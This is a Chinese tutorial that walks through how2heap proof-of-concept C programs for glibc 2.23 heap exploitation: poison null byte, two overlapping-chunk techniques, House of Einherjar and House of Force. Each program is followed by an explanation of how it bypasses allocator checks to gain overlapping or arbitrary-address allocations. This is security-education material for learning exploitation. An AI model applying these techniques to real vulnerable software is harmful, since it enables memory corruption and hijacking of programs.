1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int
main()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to poison null byte 2.0!\n"
);
printf
(
"Tested in Ubuntu 16.04 64bit.\n"
);
printf
(
"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void
*barrier;
printf
(
"We allocate 0x100 bytes for 'a'.\n"
);
a = (uint8_t*)
malloc
(0x100);
printf
(
"a: %p\n"
, a);
int
real_a_size = malloc_usable_size(a);
printf
(
"Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n"
, real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*)
malloc
(0x200);
printf
(
"b: %p\n"
, b);
c = (uint8_t*)
malloc
(0x100);
printf
(
"c: %p\n"
, c);
barrier =
malloc
(0x100);
printf
(
"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n"
, barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf
(
"In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n"
);
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(
size_t
*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free
(b);
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
printf
(
"b.size is: (0x200 + 0x10) | prev_in_use\n"
);
printf
(
"We overflow 'a' with a single null byte into the metadata of 'b'\n"
);
a[real_a_size] = 0;
// <--- THIS IS THE "EXPLOITED BUG"
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf
(
"c.prev_size is %#lx\n"
,*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf
(
"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n"
,
*((
size_t
*)(b-0x8)), *(
size_t
*)(b-0x10 + *((
size_t
*)(b-0x8))));
b1 =
malloc
(0x100);
printf
(
"b1: %p\n"
,b1);
printf
(
"Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n"
,*c_prev_size_ptr);
printf
(
"Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n"
,*(((uint64_t*)c)-4));
printf
(
"We malloc 'b2', our 'victim' chunk.\n"
);
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 =
malloc
(0x80);
printf
(
"b2: %p\n"
,b2);
memset
(b2,
'B'
,0x80);
printf
(
"Current b2 content:\n%s\n"
,b2);
printf
(
"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"
);
free
(b1);
free
(c);
printf
(
"Finally, we allocate 'd', overlapping 'b2'.\n"
);
d =
malloc
(0x300);
printf
(
"d: %p\n"
,d);
printf
(
"Now 'd' and 'b2' overlap.\n"
);
memset
(d,
'D'
,0x300);
printf
(
"New b2 content:\n%s\n"
,b2);
printf
(
"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n"
);
assert
(
strstr
(b2,
"DDDDDDDDDDDD"
));
}
|
使用glibc2.23
加参数-g
编译并修改rpath
。
申请了四个堆块,a(0x111),b(0x211),c(0x111),barrier(0x111)。
因为我们要利用off-by-null
把chunkb
的size
改为0x200
,又因为是chunkb
是non-fast chunk
,将b+0x1f0
的位置写为0x200
绕过检查。
接下来free(b)
后,假设a
存在off-by-null
漏洞,将chunkb
改为了0x200
大小。
然后申请两个堆块b1_real_size : 0x110
,b2_real_size : 0x90
,然后free(b1)
来绕过unlink
检查,再free(c)
后,会向上寻找0x210
大小的堆块,发现b1
是一个已经释放的chunk
,便会合并,此时我们再去申请real_size == 0x110+0x210
的堆块时,便控制了中间所有的chunk
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int
main(
int
argc ,
char
* argv[]){
intptr_t
*p1,*p2,*p3,*p4;
fprintf
(stderr,
"\nThis is a simple chunks overlapping problem\n\n"
);
fprintf
(stderr,
"Let's start to allocate 3 chunks on the heap\n"
);
p1 =
malloc
(0x100 - 8);
p2 =
malloc
(0x100 - 8);
p3 =
malloc
(0x80 - 8);
fprintf
(stderr,
"The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n"
, p1, p2, p3);
memset
(p1,
'1'
, 0x100 - 8);
memset
(p2,
'2'
, 0x100 - 8);
memset
(p3,
'3'
, 0x80 - 8);
fprintf
(stderr,
"\nNow let's free the chunk p2\n"
);
free
(p2);
fprintf
(stderr,
"The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"
);
fprintf
(stderr,
"Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"
);
fprintf
(stderr,
"For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n"
);
fprintf
(stderr,
"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n"
);
int
evil_chunk_size = 0x181;
int
evil_region_size = 0x180 - 8;
fprintf
(stderr,
"We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n"
,
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size;
// we are overwriting the "size" field of chunk p2
fprintf
(stderr,
"\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n"
);
fprintf
(stderr,
"This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n"
);
p4 =
malloc
(evil_region_size);
fprintf
(stderr,
"\np4 has been allocated at %p and ends at %p\n"
, (
char
*)p4, (
char
*)p4+evil_region_size);
fprintf
(stderr,
"p3 starts at %p and ends at %p\n"
, (
char
*)p3, (
char
*)p3+0x80-8);
fprintf
(stderr,
"p4 should overlap with p3, in this case p4 includes all p3.\n"
);
fprintf
(stderr,
"\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"
);
fprintf
(stderr,
"Let's run through an example. Right now, we have:\n"
);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
fprintf
(stderr,
"\nIf we memset(p4, '4', %d), we have:\n"
, evil_region_size);
memset
(p4,
'4'
, evil_region_size);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
fprintf
(stderr,
"\nAnd if we then memset(p3, '3', 80), we have:\n"
);
memset
(p3,
'3'
, 80);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
}
|
首先申请三个堆块p1_real:0x101
,p2_real:0x101
,p3_real:0x81
,这里只有申请0x8
结尾的堆块才有下一个堆块prev_size
的控制权,利用off-by-one
漏洞。假设堆块p1
读取时存在off-by-one
。
free(p2)
后,利用p1
的off-by-one
漏洞将chunk_p2
的size
改为0x180
,再次申请0x178
大小的堆块,即可得到p3
的控制权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int
main(){
intptr_t
*p1,*p2,*p3,*p4,*p5,*p6;
unsigned
int
real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int
prev_in_use = 0x1;
fprintf
(stderr,
"\nThis is a simple chunks overlapping problem"
);
fprintf
(stderr,
"\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"
);
fprintf
(stderr,
"\nLet's start to allocate 5 chunks on the heap:"
);
p1 =
malloc
(1000);
p2 =
malloc
(1000);
p3 =
malloc
(1000);
p4 =
malloc
(1000);
p5 =
malloc
(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf
(stderr,
"\n\nchunk p1 from %p to %p"
, p1, (unsigned
char
*)p1+malloc_usable_size(p1));
fprintf
(stderr,
"\nchunk p2 from %p to %p"
, p2, (unsigned
char
*)p2+malloc_usable_size(p2));
fprintf
(stderr,
"\nchunk p3 from %p to %p"
, p3, (unsigned
char
*)p3+malloc_usable_size(p3));
fprintf
(stderr,
"\nchunk p4 from %p to %p"
, p4, (unsigned
char
*)p4+malloc_usable_size(p4));
fprintf
(stderr,
"\nchunk p5 from %p to %p\n"
, p5, (unsigned
char
*)p5+malloc_usable_size(p5));
memset
(p1,
'A'
,real_size_p1);
memset
(p2,
'B'
,real_size_p2);
memset
(p3,
'C'
,real_size_p3);
memset
(p4,
'D'
,real_size_p4);
memset
(p5,
'E'
,real_size_p5);
fprintf
(stderr,
"\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"
);
free
(p4);
fprintf
(stderr,
"\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n"
);
*(unsigned
int
*)((unsigned
char
*)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use +
sizeof
(
size_t
) * 2;
//<--- BUG HERE
fprintf
(stderr,
"\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"
);
fprintf
(stderr,
"\nThis operation will basically create a big free chunk that wrongly includes p3\n"
);
free
(p2);
fprintf
(stderr,
"\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n"
);
p6 =
malloc
(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf
(stderr,
"\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"
);
fprintf
(stderr,
"\nchunk p6 from %p to %p"
, p6, (unsigned
char
*)p6+real_size_p6);
fprintf
(stderr,
"\nchunk p3 from %p to %p\n"
, p3, (unsigned
char
*) p3+real_size_p3);
fprintf
(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf
(stderr,
"%s\n"
,(
char
*)p3);
fprintf
(stderr,
"\nLet's write something inside p6\n"
);
memset
(p6,
'F'
,1500);
fprintf
(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf
(stderr,
"%s\n"
,(
char
*)p3);
}
|
首先申请5个0x3e8
堆块,p1
,p2
,p3
,p4
,p5
。
free(4)
后,假设p1
存在off-by-one
漏洞,将p2
的size
改为0x3f0+0x3f0+0x1=0x7e1
大小。再次free(p2)
将会把p3
覆盖掉,并且会与chunk_p4
重合,此时我们再次申请0x7d8大小的堆块即可获得chunk_p3的控制权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int
main()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to House of Einherjar!\n"
);
printf
(
"Tested in Ubuntu 16.04 64bit.\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf
(
"\nWe allocate 0x38 bytes for 'a'\n"
);
a = (uint8_t*)
malloc
(0x38);
printf
(
"a: %p\n"
, a);
int
real_a_size = malloc_usable_size(a);
printf
(
"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n"
, real_a_size);
// create a fake chunk
printf
(
"\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"
);
printf
(
"However, you can also create the chunk in the heap or the bss, as long as you know its address\n"
);
printf
(
"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"
);
printf
(
"(although we could do the unsafe unlink technique here in some scenarios)\n"
);
size_t
fake_chunk[6];
fake_chunk[0] = 0x100;
// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100;
// size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (
size_t
) fake_chunk;
// fwd
fake_chunk[3] = (
size_t
) fake_chunk;
// bck
fake_chunk[4] = (
size_t
) fake_chunk;
//fwd_nextsize
fake_chunk[5] = (
size_t
) fake_chunk;
//bck_nextsize
printf
(
"Our fake chunk at %p looks like:\n"
, fake_chunk);
printf
(
"prev_size (not used): %#lx\n"
, fake_chunk[0]);
printf
(
"size: %#lx\n"
, fake_chunk[1]);
printf
(
"fwd: %#lx\n"
, fake_chunk[2]);
printf
(
"bck: %#lx\n"
, fake_chunk[3]);
printf
(
"fwd_nextsize: %#lx\n"
, fake_chunk[4]);
printf
(
"bck_nextsize: %#lx\n"
, fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*)
malloc
(0xf8);
int
real_b_size = malloc_usable_size(b);
printf
(
"\nWe allocate 0xf8 bytes for 'b'.\n"
);
printf
(
"b: %p\n"
, b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf
(
"\nb.size: %#lx\n"
, *b_size_ptr);
printf
(
"b.size is: (0x100) | prev_inuse = 0x101\n"
);
printf
(
"We overflow 'a' with a single null byte into the metadata of 'b'\n"
);
a[real_a_size] = 0;
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
printf
(
"This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n"
);
printf
(
"If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n"
);
// Write a fake prev_size to the end of a
printf
(
"\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n"
,
sizeof
(
size_t
));
size_t
fake_size = (
size_t
)((b-
sizeof
(
size_t
)*2) - (uint8_t*)fake_chunk);
printf
(
"Our fake prev_size will be %p - %p = %#lx\n"
, b-
sizeof
(
size_t
)*2, fake_chunk, fake_size);
*(
size_t
*)&a[real_a_size-
sizeof
(
size_t
)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf
(
"\nModify fake chunk's size to reflect b's new prev_size\n"
);
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
printf
(
"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"
);
free
(b);
printf
(
"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"
, fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
printf
(
"\nNow we can call malloc() and it will begin in our fake chunk\n"
);
d =
malloc
(0x200);
printf
(
"Next malloc(0x200) is at %p\n"
, d);
}
|
申请a=0x41
,b=0x101
两个堆块,并在栈上构建一个fake_chunk
,并且fake_chunk_fd_bk = fake_chunk_prev_size
,用来绕过unlink
。
然后利用off-by-null
漏洞将堆块b
的PREV_INUSE
位改为0
,计算出堆块b
与fake_chunk
的距离(fake_size
),这里是个负数。
然后将fake_chunk_size
改为fake_size
,然后将堆块b
的prev_size
改为改为fake_size
,绕过检查prev_size == size
的检查。
我们free(b)
后,会进行如上检查。向后合并会把负数fake_size
转为整数,然后会先开始后合并,又chunk_b
紧邻top_chunk
,会再与其进行合并。
此时我们再申请堆块将从fake_chunk_prev_size
开始分配。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
|
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char
bss_var[] =
"This is a string that we want to overwrite."
;
int
main(
int
argc ,
char
* argv[])
{
fprintf
(stderr,
"\nWelcome to the House of Force\n\n"
);
fprintf
(stderr,
"The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"
);
fprintf
(stderr,
"The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n"
);
fprintf
(stderr,
"\nIn the end, we will use this to overwrite a variable at %p.\n"
, bss_var);
fprintf
(stderr,
"Its current value is: %s\n"
, bss_var);
fprintf
(stderr,
"\nLet's allocate the first chunk, taking space from the wilderness.\n"
);
intptr_t
*p1 =
malloc
(256);
fprintf
(stderr,
"The chunk of 256 bytes has been allocated at %p.\n"
, p1 - 2);
fprintf
(stderr,
"\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"
);
int
real_size = malloc_usable_size(p1);
fprintf
(stderr,
"Real size (aligned and all that jazz) of our allocated chunk is %ld.\n"
, real_size +
sizeof
(
long
)*2);
fprintf
(stderr,
"\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"
);
//----- VULNERABILITY ----
intptr_t
*ptr_top = (
intptr_t
*) ((
char
*)p1 + real_size -
sizeof
(
long
));
fprintf
(stderr,
"\nThe top chunk starts at %p\n"
, ptr_top);
fprintf
(stderr,
"\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"
);
fprintf
(stderr,
"Old size of top chunk %#llx\n"
, *((unsigned
long
long
int
*)((
char
*)ptr_top +
sizeof
(
long
))));
*(
intptr_t
*)((
char
*)ptr_top +
sizeof
(
long
)) = -1;
fprintf
(stderr,
"New size of top chunk %#llx\n"
, *((unsigned
long
long
int
*)((
char
*)ptr_top +
sizeof
(
long
))));
//------------------------
fprintf
(stderr,
"\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n"
);
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned
long
evil_size = (unsigned
long
)bss_var -
sizeof
(
long
)*4 - (unsigned
long
)ptr_top;
fprintf
(stderr,
"\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n"
, bss_var, ptr_top, evil_size);
void
*new_ptr =
malloc
(evil_size);
fprintf
(stderr,
"As expected, the new pointer is at the same place as the old top chunk: %p\n"
, new_ptr -
sizeof
(
long
)*2);
void
* ctr_chunk =
malloc
(100);
fprintf
(stderr,
"\nNow, the next chunk we overwrite will point at our target buffer.\n"
);
fprintf
(stderr,
"malloc(100) => %p!\n"
, ctr_chunk);
fprintf
(stderr,
"Now, we can finally overwrite that value:\n"
);
fprintf
(stderr,
"... old string: %s\n"
, bss_var);
fprintf
(stderr,
"... doing strcpy overwrite with \"YEAH!!!\"...\n"
);
strcpy
(ctr_chunk,
"YEAH!!!"
);
fprintf
(stderr,
"... new string: %s\n"
, bss_var);
assert
(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
|
首先申请了一个a_real=0x111
大小的堆块,利用off-by-one
将top_chunk
的size
改为-1
,此时我们便可以申请到任意地址,top_chunk地址 = 原top_chunk地址 + 对齐后的申请大小
。只要我们计算好距离,便可申请到任意地址,下到got
,bss
,上到__malloc_hook
,相当于任意地址写的能力。
计算出bss_var-0x20
到top_chunk
的距离0x602060-0x603110=-5A2 E0B0
,注意此时我们申请结束后,top_chunk=0x6030110+(-5A2EB0)+0x10=0x602070
,成功将top_chunk迁移到了目标地址下方。
堆由低地址向高地址增长,我们此时申请0x68
大小的堆块时,top_chunk=0x602070+0x68+0x8=0x6020e0
,成功将目标地址放入新申请堆块的fd
指针处。
更多【深入理解how2heap_2.23(3)】相关视频教程:www.yxfzedu.com